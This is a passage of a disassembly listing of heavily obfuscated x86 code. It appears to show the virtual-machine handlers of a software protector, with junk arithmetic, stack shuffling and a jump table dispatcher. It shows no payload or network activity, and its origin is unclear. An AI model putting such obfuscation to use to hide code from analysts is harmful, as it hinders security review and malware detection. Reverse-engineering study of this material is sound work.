		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		not	ebx
		add	ebx, 1
		push	ebp
		push	esi
		push	6795639Ch
		jmp	loc_592B59
; ---------------------------------------------------------------------------


loc_57F466:				; CODE XREF: ud2_____:00580832j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57F46B:				; CODE XREF: ud2_____:00581BBCj
		push	ebp
		mov	ebp, 5AA603E0h
		jmp	loc_590C78
; ---------------------------------------------------------------------------


loc_57F476:				; CODE XREF: ud2_____:0058F2D8j
		xchg	ecx, [esp]
		jmp	loc_5827F2
; ---------------------------------------------------------------------------


loc_57F47E:				; CODE XREF: ud2_____:0058B9C3j
		xor	edi, ecx
		pop	ecx
		mov	esi, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	1A341C78h
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 73B105ACh
		sub	ecx, esi
		jmp	loc_58B0C8
; ---------------------------------------------------------------------------


loc_57F4CB:				; CODE XREF: ud2_____:00583DB0j
		add	[esp+4], ebx
		jmp	loc_58A410
; ---------------------------------------------------------------------------


loc_57F4D4:				; CODE XREF: ud2_____:0058253Fj
		push	dx
		not	word ptr [esp]
		pop	dx
		xor	dx, 0AC6Bh
		mov	di, dx
		pop	edx
		jmp	loc_58D2EE
; ---------------------------------------------------------------------------


loc_57F4EA:				; CODE XREF: ud2_____:0058B17Fj
		push	edx
		pop	edi
		pop	edx
		inc	edi
		push	701Ah
		mov	[esp], esi
		mov	esi, 288BA161h
		add	edi, 3D7E7D01h
		add	edi, esi
		sub	edi, 3D7E7D01h
		pop	esi
		add	ecx, 9DE534Dh
		sub	ecx, edi
		sub	ecx, 9DE534Dh
		pop	edi
		push	eax
		mov	eax, 15535C75h
		jmp	loc_58B76B
; ---------------------------------------------------------------------------


loc_57F524:				; CODE XREF: ud2_____:005902D6j
		push	4740h
		jmp	loc_58D805
; ---------------------------------------------------------------------------


loc_57F52E:				; CODE XREF: ud2_____:00582D7Ej
		mov	[esp], ecx
		mov	cl, 0AAh
		add	cl, 0D6h
		xor	bl, cl
		pop	ecx
		sub	cl, bl
		pop	ebx
		jmp	loc_581C71
; ---------------------------------------------------------------------------


loc_57F541:				; CODE XREF: ud2_____:00586389j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_586008
; ---------------------------------------------------------------------------


loc_57F555:				; CODE XREF: ud2_____:00582027j
		add	bx, 11D0h
		sub	bx, di
		sub	bx, 11D0h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		add	bx, ax
		add	bx, 0CF9h
		sub	bx, 6489h
		movzx	eax, ax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_58C389
; ---------------------------------------------------------------------------


loc_57F59B:				; CODE XREF: ud2_____:00586CECj
		add	bl, 5Fh
		sub	bl, 2Bh
		xor	bl, al
		xor	al, bl
		jmp	loc_585047
; ---------------------------------------------------------------------------


loc_57F5AA:				; CODE XREF: ud2_____:0058EB90j
		sub	esp, 4
		jmp	loc_589644
; ---------------------------------------------------------------------------


loc_57F5B5:				; CODE XREF: ud2_____:0058DBA8j
		push	75CF75A8h
		pop	eax
		jmp	loc_5879DE
; ---------------------------------------------------------------------------


loc_57F5C0:				; CODE XREF: ud2_____:0058DDC9j
		add	esi, 22290070h
		add	esi, ebx
		jmp	loc_57FAEA
; ---------------------------------------------------------------------------


loc_57F5CD:				; CODE XREF: ud2_____:00584C6Fj
		pop	ebp
		add	ebx, 4
		jmp	loc_58487C
; ---------------------------------------------------------------------------


loc_57F5D9:				; CODE XREF: ud2_____:0057F9C9j
		mov	dh, 0F6h
		sub	bl, dh
		pop	edx
		mov	dh, bl
		jmp	loc_588858
; ---------------------------------------------------------------------------


loc_57F5E5:				; CODE XREF: ud2_____:0058900Ej
		push	20A9h
		mov	[esp], eax
		push	2D9Eh
		push	esp
		jmp	loc_58EAF0
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebp
		push	2ABFh
		mov	[esp], ebx
		mov	ebx, 2A367F8Bh
		push	ecx
		mov	ecx, 38F25FB8h
		neg	ecx
		and	ecx, 753C1463h
		dec	ecx
		sub	esp, 4
		jmp	loc_580D66
; ---------------------------------------------------------------------------


loc_57F622:				; CODE XREF: ud2_____:0057F8FBj
		not	edx
		xchg	edx, ebx
		sub	esp, 4
		jmp	loc_585FC2
; ---------------------------------------------------------------------------


loc_57F631:				; CODE XREF: ud2_____:005919D7j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5909EB
; ---------------------------------------------------------------------------


loc_57F63B:				; CODE XREF: ud2_____:0058E241j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_58492A
; ---------------------------------------------------------------------------


loc_57F646:				; CODE XREF: ud2_____:0057EADBj
		push	4B42h
		mov	[esp], edx
		mov	edx, 25CA7486h
		sub	edx, 647F21A8h
		shl	edx, 2
		jmp	loc_581E5B
; ---------------------------------------------------------------------------


loc_57F661:				; CODE XREF: ud2_____:0058BA15j
		add	ebx, esi
		pop	esi
		jmp	loc_58DBAD
; ---------------------------------------------------------------------------


loc_57F669:				; CODE XREF: ud2_____:0058174Aj
		push	edi
		jmp	loc_5820AA
; ---------------------------------------------------------------------------


loc_57F66F:				; CODE XREF: ud2_____:00586380j
		add	edi, 4
		jmp	loc_582819
; ---------------------------------------------------------------------------


loc_57F67A:				; CODE XREF: ud2_____:0058AF7Cj
		sub	ebp, 2E4C4CE2h
		shl	ebp, 1
		jmp	loc_58C21A
; ---------------------------------------------------------------------------


loc_57F687:				; CODE XREF: ud2_____:0058EF1Cj
		sub	ebx, 5DF63BF1h
		pop	eax
		jmp	loc_590257
; ---------------------------------------------------------------------------


loc_57F693:				; CODE XREF: ud2_____:00585E8Fj
		push	28ADh
		mov	[esp], edx
		mov	dl, 0D3h
		jmp	loc_58FD64
; ---------------------------------------------------------------------------


loc_57F6A2:				; CODE XREF: ud2_____:0059155Dj
		neg	ecx
		neg	ecx
		sub	ecx, 0BB19BA1Ah
		sub	eax, ecx
		pop	ecx
		xor	esi, eax
		pop	eax
		shl	esi, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4E691A61h
		add	ecx, 0FFFFFFFFh
		jmp	loc_591DC0
; ---------------------------------------------------------------------------


loc_57F6CA:				; CODE XREF: ud2_____:00585042j
		mov	ebx, 5554BCEh
		shr	ebx, 3
		add	ebx, 2B17CCBEh
		jmp	loc_582B44
; ---------------------------------------------------------------------------


loc_57F6DD:				; CODE XREF: ud2_____:00584D90j
		mov	edi, 7F890EDCh
		add	edi, 1D693FCAh
		sub	edi, 9CF24EA2h
		push	ebp
		mov	ebp, 398A603Ch
		or	ebp, 4E941D6Ch
		dec	ebp
		sub	ebp, 662B68D4h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		push	edx
		mov	edx, 605055A4h
		jmp	loc_5903F9
; ---------------------------------------------------------------------------


loc_57F716:				; CODE XREF: ud2_____:0058E476j
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 9D4ADFA9h
		sub	ebx, 5FF501F4h
		push	eax
		mov	eax, 53B534BDh
		shr	eax, 7
		push	ecx
		push	eax
		mov	eax, 21EB720Eh
		mov	ecx, eax
		pop	eax
		and	eax, ecx
		pop	ecx
		push	edi
		mov	edi, 21780932h
		inc	edi
		and	edi, 40C303FBh
		shr	edi, 7
		neg	edi
		sub	edi, 0F23624FAh
		xor	eax, edi
		pop	edi
		add	ebx, eax
		pop	eax
		add	ebx, eax
		jmp	loc_58D0DF
; ---------------------------------------------------------------------------


loc_57F767:				; CODE XREF: ud2_____:0058F82Fj
		push	3539h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_589788
; ---------------------------------------------------------------------------


loc_57F77A:				; CODE XREF: ud2_____:00584852j
		inc	esi
		add	esi, 769554F6h
		sub	esi, 0FAE3097Eh
		add	ebx, esi
		jmp	loc_58F40F
; ---------------------------------------------------------------------------


loc_57F78E:				; CODE XREF: ud2_____:005883B6j
		mov	[esp], eax
		push	esp
		jmp	loc_58DB98
; ---------------------------------------------------------------------------


loc_57F797:				; CODE XREF: ud2_____:0057E88Aj
		pop	ecx
		or	ebx, ebp
		jmp	loc_585559
; ---------------------------------------------------------------------------


loc_57F79F:				; CODE XREF: ud2_____:005872E2j
					; ud2_____:0058A9B7j
		push	5DB0h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_587696
; ---------------------------------------------------------------------------


loc_57F7B5:				; CODE XREF: ud2_____:00588897j
		mov	esi, [esp]
		add	esp, 4
		add	dword ptr [esp], 2D6916F3h
		sub	dword ptr [esp], 56D42F15h
		sub	[esp], eax
		push	eax
		jmp	loc_5828DE
; ---------------------------------------------------------------------------


loc_57F7D5:				; CODE XREF: ud2_____:0059301Fj
		sub	esi, ebx
		add	esi, 21F130A4h
		pop	ebx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 3FEB4D3Fh
		add	edi, edx
		push	edx
		mov	edx, 3FEB4D3Fh
		sub	edi, edx
		pop	edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_57FC24
; ---------------------------------------------------------------------------


loc_57F805:				; CODE XREF: ud2_____:005852C6j
		mov	edx, [esp]
		jmp	loc_58C53A
; ---------------------------------------------------------------------------


loc_57F80D:				; CODE XREF: ud2_____:0058442Dj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 59457B40h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	ebx, ecx
		jmp	loc_58B8ED
; ---------------------------------------------------------------------------


loc_57F82D:				; CODE XREF: ud2_____:0058BC79j
		pop	dword ptr [esp]
		jmp	loc_5885F1
; ---------------------------------------------------------------------------


loc_57F835:				; CODE XREF: ud2_____:00588CA7j
		sub	ebp, 0EED16BA2h
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_583E12
; ---------------------------------------------------------------------------


loc_57F846:				; CODE XREF: ud2_____:0058E683j
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58DA03
; ---------------------------------------------------------------------------


loc_57F856:				; CODE XREF: ud2_____:005828FEj
		add	esi, 4
		add	esi, 2
		push	esi
		jmp	loc_57E47C
; ---------------------------------------------------------------------------


loc_57F868:				; CODE XREF: ud2_____:0058CE4Cj
		shl	eax, 1
		xor	eax, 789C2BE4h
		jmp	loc_587899
; ---------------------------------------------------------------------------


loc_57F874:				; CODE XREF: ud2_____:0058A616j
		add	eax, 1A693AAEh
		pop	ecx
		jmp	loc_581765
; ---------------------------------------------------------------------------


loc_57F87F:				; CODE XREF: ud2_____:0058A4E8j
		mov	edi, 700230DBh
		and	edi, 2589512Fh
		shl	edi, 7
		shr	edi, 7
		sub	edi, 0BE04EDh
		jmp	loc_58925A
; ---------------------------------------------------------------------------


loc_57F89B:				; CODE XREF: ud2_____:0059236Ej
		push	ecx
		jmp	loc_59034F
; ---------------------------------------------------------------------------


loc_57F8A1:				; CODE XREF: ud2_____:00585BECj
		add	edi, esi
		add	edi, 680F4310h
		mov	esi, [esp]
		add	esp, 4
		xor	eax, edi
		pop	edi
		jmp	loc_58290A
; ---------------------------------------------------------------------------


loc_57F8BA:				; CODE XREF: ud2_____:00588D81j
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57FBBF
; ---------------------------------------------------------------------------


loc_57F8CA:				; CODE XREF: ud2_____:0058B1CEj
		mov	[esp], eax
		mov	ah, 8Ah
		xor	ah, ch
		jmp	loc_58EF36
; ---------------------------------------------------------------------------


loc_57F8D6:				; CODE XREF: ud2_____:0058DD04j
		test	ecx, eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57F8DE:				; CODE XREF: ud2_____:0058002Dj
		sub	eax, edx
		pop	edx
		shl	eax, 7
		push	eax
		dec	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, 34210EB6h
		add	ebx, 2923156Dh
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_57F622
; ---------------------------------------------------------------------------


loc_57F900:				; CODE XREF: ud2_____:005912C6j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58BC9D
; ---------------------------------------------------------------------------


loc_57F90E:				; CODE XREF: ud2_____:00590521j
		sub	edi, 0A1D1386h
		sub	edi, esi
		add	edi, 0A1D1386h
		pop	esi
		xor	edi, 0F0E0D7DBh
		push	edi
		jmp	loc_589FD3
; ---------------------------------------------------------------------------


loc_57F929:				; CODE XREF: ud2_____:0058AB89j
		inc	bl
		sub	bl, 4Ch
		add	bl, 2Eh
		mov	al, bl
		jmp	loc_586506
; ---------------------------------------------------------------------------


loc_57F938:				; CODE XREF: ud2_____:00585D1Ej
		mov	edi, 28A053CAh
		and	edi, 4FBA1C42h
		not	edi
		add	edi, 7DDD6C9Bh
		sub	ebx, edi
		jmp	loc_58AEA3
; ---------------------------------------------------------------------------


loc_57F952:				; CODE XREF: ud2_____:00588553j
		push	eax
		push	ebp
		jmp	loc_590F10
; ---------------------------------------------------------------------------


loc_57F959:				; CODE XREF: ud2_____:0058BDC7j
		add	ebx, edi
		pop	edi
		mov	edx, ebx
		jmp	loc_586B49
; ---------------------------------------------------------------------------


loc_57F963:				; CODE XREF: ud2_____:0058E0D6j
		mov	edi, 627F7738h
		push	edi
		mov	edi, 9A96D31Ah
		mov	ecx, edi
		pop	edi
		sub	ecx, edi
		pop	edi
		and	ecx, 6B011271h
		shl	ecx, 5
		xor	ecx, 0D9C5B6F3h
		add	edi, ecx
		pop	ecx
		add	ecx, edi
		jmp	loc_591664
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3FAFh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		sub	esp, 4
		jmp	loc_58A8F6
; ---------------------------------------------------------------------------


loc_57F9AC:				; CODE XREF: ud2_____:0057EBE3j
		push	esp
		jmp	loc_584CF0
; ---------------------------------------------------------------------------


loc_57F9B2:				; CODE XREF: ud2_____:0058C785j
		pop	esi
		jmp	loc_57F1AA
; ---------------------------------------------------------------------------


loc_57F9B8:				; CODE XREF: ud2_____:00585163j
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_57F18A
; ---------------------------------------------------------------------------


loc_57F9C4:				; CODE XREF: ud2_____:0058505Ej
		dec	bl
		dec	bl
		push	edx
		jmp	loc_57F5D9
; ---------------------------------------------------------------------------


loc_57F9CE:				; CODE XREF: ud2_____:005861C2j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58B184
; ---------------------------------------------------------------------------


loc_57F9D8:				; CODE XREF: ud2_____:00589842j
		mov	edi, esp
		add	edi, 4
		jmp	loc_590F2C
; ---------------------------------------------------------------------------


loc_57F9E5:				; CODE XREF: ud2_____:00589073j
		pop	esi
		push	ecx
		jmp	loc_58301C
; ---------------------------------------------------------------------------


loc_57F9EC:				; CODE XREF: ud2_____:00590D1Fj
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_581601
; ---------------------------------------------------------------------------


loc_57FA12:				; CODE XREF: ud2_____:0058556Ej
		and	edx, 63B4474h
		push	ebp
		mov	ebp, 7681158Eh
		xor	edx, ebp
		pop	ebp
		shr	edx, 4
		sub	edx, 769B159h
		mov	esi, edx
		jmp	loc_5910C3
; ---------------------------------------------------------------------------


loc_57FA31:				; CODE XREF: ud2_____:005902F1j
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	4925h
		mov	[esp], eax
		push	56F50460h
		mov	eax, [esp]
		jmp	loc_58D41A
; ---------------------------------------------------------------------------


loc_57FA50:				; CODE XREF: ud2_____:00580783j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FA69:				; CODE XREF: ud2_____:0058255Bj
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_5853CF
; ---------------------------------------------------------------------------


loc_57FA7C:				; CODE XREF: ud2_____:0058F7A2j
		neg	ebp
		push	edx
		mov	edx, 40B17E77h
		or	edx, 2610A56h
		add	edx, 6DA4505Dh
		push	45C2h
		mov	[esp], esi
		mov	esi, 0FFEF202Bh
		add	edx, 64BC2E1Eh
		add	edx, esi
		jmp	loc_5898C5
; ---------------------------------------------------------------------------


loc_57FAAA:				; CODE XREF: ud2_____:005813E4j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_58A7A4
; ---------------------------------------------------------------------------


loc_57FAB8:				; CODE XREF: ud2_____:005827C0j
		push	dword ptr [esp]
		jmp	loc_58FCDF
; ---------------------------------------------------------------------------


loc_57FAC0:				; CODE XREF: ud2_____:0058C79Cj
		pop	esp
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FAC6:				; CODE XREF: ud2_____:00592A19j
		pop	ecx
		or	[edi+1Ch], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FAD8:				; CODE XREF: ud2_____:00592DFBj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58B307
; ---------------------------------------------------------------------------


loc_57FAEA:				; CODE XREF: ud2_____:0057F5C8j
		sub	esi, 22290070h
		sub	esi, 40871EFEh
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 3E786570h
		add	esi, eax
		sub	esi, 3E786570h
		sub	esi, 56535212h
		pop	eax
		jmp	loc_584E02
; ---------------------------------------------------------------------------


loc_57FB19:				; CODE XREF: ud2_____:0058C6CFj
		mov	eax, esp
		add	eax, 4
		jmp	loc_583C54
; ---------------------------------------------------------------------------


loc_57FB25:				; CODE XREF: ud2_____:00583111j
		add	esi, ebx
		push	ebp
		mov	ebp, 13EF260Bh
		add	esi, ebp
		jmp	loc_5860A3
; ---------------------------------------------------------------------------


loc_57FB34:				; CODE XREF: ud2_____:005863D9j
		xor	esi, ecx
		jmp	loc_59150A
; ---------------------------------------------------------------------------


loc_57FB3B:				; CODE XREF: ud2_____:00582247j
		pop	ecx
		push	1C4Bh
		mov	[esp], eax
		jmp	loc_589CE7
; ---------------------------------------------------------------------------


loc_57FB49:				; CODE XREF: ud2_____:00591C74j
		pop	ecx
		add	esp, 4
		push	esi
		jmp	loc_57E6C6
; ---------------------------------------------------------------------------


loc_57FB56:				; CODE XREF: ud2_____:00590806j
		shl	esi, 3
		push	ebx
		mov	ebx, 20F60213h
		sub	ebx, 0AF22004Dh
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		not	esi
		jmp	loc_5869B8
; ---------------------------------------------------------------------------


loc_57FB77:				; CODE XREF: ud2_____:00587CD4j
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bh, 0Dh
		sub	al, bh
		pop	ebx
		add	al, 1Ah
		sub	al, cl
		sub	al, 1Ah
		add	al, 0Dh
		jmp	loc_591BD3
; ---------------------------------------------------------------------------


loc_57FB90:				; CODE XREF: ud2_____:005914A4j
		sub	esp, 4
		mov	[esp], ebx
		push	2Ch
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_591587
; ---------------------------------------------------------------------------


loc_57FBA4:				; CODE XREF: ud2_____:0058A3C2j
		xor	eax, [esp]
		pop	esp
		jmp	loc_5906F6
; ---------------------------------------------------------------------------


loc_57FBAD:				; CODE XREF: ud2_____:0058BCCFj
		add	eax, ecx
		sub	eax, 56836F94h
		push	ebx
		mov	ebx, 42231CF7h
		jmp	loc_58CF19
; ---------------------------------------------------------------------------


loc_57FBBF:				; CODE XREF: ud2_____:0057F8C5j
		sub	eax, 766C7CE8h
		add	eax, 34F70D8Fh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_58AA84
; ---------------------------------------------------------------------------


loc_57FBE0:				; CODE XREF: ud2_____:0057E1BDj
		sub	ecx, 30255BE8h
		pop	edx
		add	eax, 73F06B50h
		jmp	loc_5913D9
; ---------------------------------------------------------------------------


loc_57FBF1:				; CODE XREF: ud2_____:00589EF4j
		mov	edi, 3CF17FD7h
		add	edi, 67134875h
		sub	edi, 80798582h
		xor	esi, edi
		pop	edi
		jmp	loc_58A0CA
; ---------------------------------------------------------------------------


loc_57FC0A:				; CODE XREF: ud2_____:0058369Fj
		shl	cl, 5
		push	eax
		push	edx
		mov	dl, 0CBh
		mov	ah, dl
		pop	edx
		jmp	loc_58ED9B
; ---------------------------------------------------------------------------


loc_57FC19:				; CODE XREF: ud2_____:00588B39j
		push	ebx
		jmp	loc_58CB9D
; ---------------------------------------------------------------------------


loc_57FC1F:				; CODE XREF: ud2_____:0058CBFCj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FC24:				; CODE XREF: ud2_____:0057F800j
		add	esp, 4
		add	esp, 4
		add	edi, 2
		xor	edi, [esp]
		jmp	loc_58BCE8
; ---------------------------------------------------------------------------


loc_57FC35:				; CODE XREF: ud2_____:0058F3D0j
		mov	esi, esp
		add	esi, 4
		jmp	loc_588439
; ---------------------------------------------------------------------------


loc_57FC42:				; CODE XREF: ud2_____:00583141j
		push	esi
		mov	esi, 4
		push	ebx
		jmp	loc_581B4E
; ---------------------------------------------------------------------------


loc_57FC4E:				; CODE XREF: ud2_____:005849C7j
		push	edx
		neg	dword ptr [esp]
		jmp	loc_5867C6
; ---------------------------------------------------------------------------


loc_57FC57:				; CODE XREF: ud2_____:00592D5Dj
		and	edx, 4D4F6B17h
		xor	edx, 33A24A90h
		shr	edx, 1
		jmp	loc_58C228
; ---------------------------------------------------------------------------


loc_57FC6A:				; CODE XREF: ud2_____:0058ECB4j
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 20522113h
		sub	esi, 204A430Ch
		add	esi, edx
		jmp	loc_589D08
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FC94:				; CODE XREF: ud2_____:005852D5j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 27BC1999h
		mov	ebx, 0D8C3E667h
		sub	ebx, 6C82B17h
		jmp	loc_588420
; ---------------------------------------------------------------------------


loc_57FCAD:				; CODE XREF: ud2_____:0058DA32j
		mov	[esp], eax
		jmp	loc_584C93
; ---------------------------------------------------------------------------


loc_57FCB5:				; CODE XREF: ud2_____:0058DC39j
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_57E8B5
; ---------------------------------------------------------------------------


loc_57FCC3:				; CODE XREF: ud2_____:0058087Aj
		xchg	ecx, esi
		add	esi, 1
		push	ebp
		mov	ebp, 23C47F99h
		jmp	loc_586579
; ---------------------------------------------------------------------------


loc_57FCD3:				; CODE XREF: ud2_____:0058E74Cj
		push	6963h
		mov	[esp], eax
		jmp	loc_57EE2D
; ---------------------------------------------------------------------------


loc_57FCE0:				; CODE XREF: ud2_____:0058ABE9j
		add	esi, 0DD3223F2h
		add	ebx, esi
		pop	esi
		pop	edi
		sub	ebx, 77EE27FDh
		add	ebx, eax
		push	ecx
		mov	ecx, 4D59233Bh
		jmp	loc_57EABD
; ---------------------------------------------------------------------------


loc_57FCFD:				; CODE XREF: ud2_____:0058AF19j
		sub	ebx, 6C891932h
		xor	ebx, 0A47706FBh
		jmp	loc_592765
; ---------------------------------------------------------------------------


loc_57FD0E:				; CODE XREF: ud2_____:005876E4j
		pop	esp
		jmp	loc_58B51C
; ---------------------------------------------------------------------------


loc_57FD14:				; CODE XREF: ud2_____:0057FECFj
		sub	bl, 0D1h
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FD23:				; CODE XREF: ud2_____:0058516Dj
		xor	ecx, 4F3FC26h
		add	ebx, ecx
		pop	ecx
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_5844DC
; ---------------------------------------------------------------------------


loc_57FD3D:				; CODE XREF: ud2_____:0058E3ACj
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_57FD4D:				; CODE XREF: ud2_____:0058B55Dj
		add	esi, ebx
		jmp	loc_58195E
; ---------------------------------------------------------------------------


loc_57FD54:				; CODE XREF: ud2_____:00581A71j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58C138
; ---------------------------------------------------------------------------


loc_57FD62:				; CODE XREF: ud2_____:005859E2j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_583D8A
; ---------------------------------------------------------------------------


loc_57FD6D:				; CODE XREF: ud2_____:00585B75j
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5911B9
; ---------------------------------------------------------------------------


loc_57FD76:				; CODE XREF: ud2_____:005880DDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_5866D4
; ---------------------------------------------------------------------------


loc_57FD8B:				; CODE XREF: ud2_____:00583796j
		mov	eax, esp
		push	esi
		mov	esi, 33078A6h
		add	esi, 3FB96A6Dh
		push	ebx
		mov	ebx, 16539BBh
		xor	ebx, 108E2E73h
		jmp	loc_5925BA
; ---------------------------------------------------------------------------


loc_57FDAA:				; CODE XREF: ud2_____:00580381j
		pop	ebx
		xor	ecx, [esp]
		jmp	loc_58DA9D
; ---------------------------------------------------------------------------


loc_57FDB3:				; CODE XREF: ud2_____:00589DD0j
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_588A31
; ---------------------------------------------------------------------------


loc_57FDC4:				; CODE XREF: ud2_____:0057F050j
		pop	edx
		push	ebp
		push	ebx
		mov	ebx, 6274D11h
		neg	ebx
		sub	ebx, 3A4047BCh
		jmp	loc_583B24
; ---------------------------------------------------------------------------


loc_57FDD9:				; CODE XREF: ud2_____:00585CC1j
		sub	eax, 9EECDB25h
		add	ebp, 61D94BECh
		jmp	loc_5919EF
; ---------------------------------------------------------------------------


loc_57FDE9:				; CODE XREF: ud2_____:0057F143j
		push	68D1h
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	53C4h
		mov	[esp], ecx
		jmp	loc_587004
; ---------------------------------------------------------------------------


loc_57FE0A:				; CODE XREF: ud2_____:00592088j
		pop	edx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		jmp	locret_580D41
; ---------------------------------------------------------------------------


loc_57FE17:				; CODE XREF: ud2_____:0058EFEFj
		pop	eax
		push	ebp
		mov	ebp, 0F5C51CCh
		sub	ebx, ebp
		pop	ebp
		jmp	loc_58310B
; ---------------------------------------------------------------------------


loc_57FE26:				; CODE XREF: ud2_____:00589EDFj
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_58B7D2
; ---------------------------------------------------------------------------


loc_57FE33:				; CODE XREF: ud2_____:00586C69j
		add	edx, esi
		add	edx, 61A01C99h
		jmp	loc_58BFD0
; ---------------------------------------------------------------------------


loc_57FE40:				; CODE XREF: ud2_____:0058C7E7j
		push	esi
		neg	dword ptr [esp]
		pop	esi
		jmp	loc_5875E4
; ---------------------------------------------------------------------------


loc_57FE4A:				; CODE XREF: ud2_____:005892E2j
		add	eax, 24C162A7h
		jmp	loc_583CCE
; ---------------------------------------------------------------------------


loc_57FE54:				; CODE XREF: ud2_____:0058CA19j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_580504
; ---------------------------------------------------------------------------


loc_57FE62:				; CODE XREF: ud2_____:00584389j
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_585E3A
; ---------------------------------------------------------------------------


loc_57FE70:				; CODE XREF: ud2_____:00585D58j
		xchg	ecx, [esp]
		pop	esp
		sub	edx, 158D05F4h
		jmp	loc_58372D
; ---------------------------------------------------------------------------


loc_57FE7F:				; CODE XREF: ud2_____:0058CC07j
		add	esi, ebp
		add	esi, 55225760h
		pop	ebp
		jmp	loc_5926CE
; ---------------------------------------------------------------------------


loc_57FE8D:				; CODE XREF: ud2_____:005804CFj
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 450B68BFh
		add	esi, ecx
		add	esi, 450B68BFh
		add	esi, 1D444933h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5848F2
; ---------------------------------------------------------------------------


loc_57FEB7:				; CODE XREF: ud2_____:0058D5DCj
		pop	ecx
		add	bl, 1
		add	bl, cl
		sub	bl, 1
		add	bl, 0FAh
		mov	cx, [esp]
		add	esp, 2
		sub	bl, al
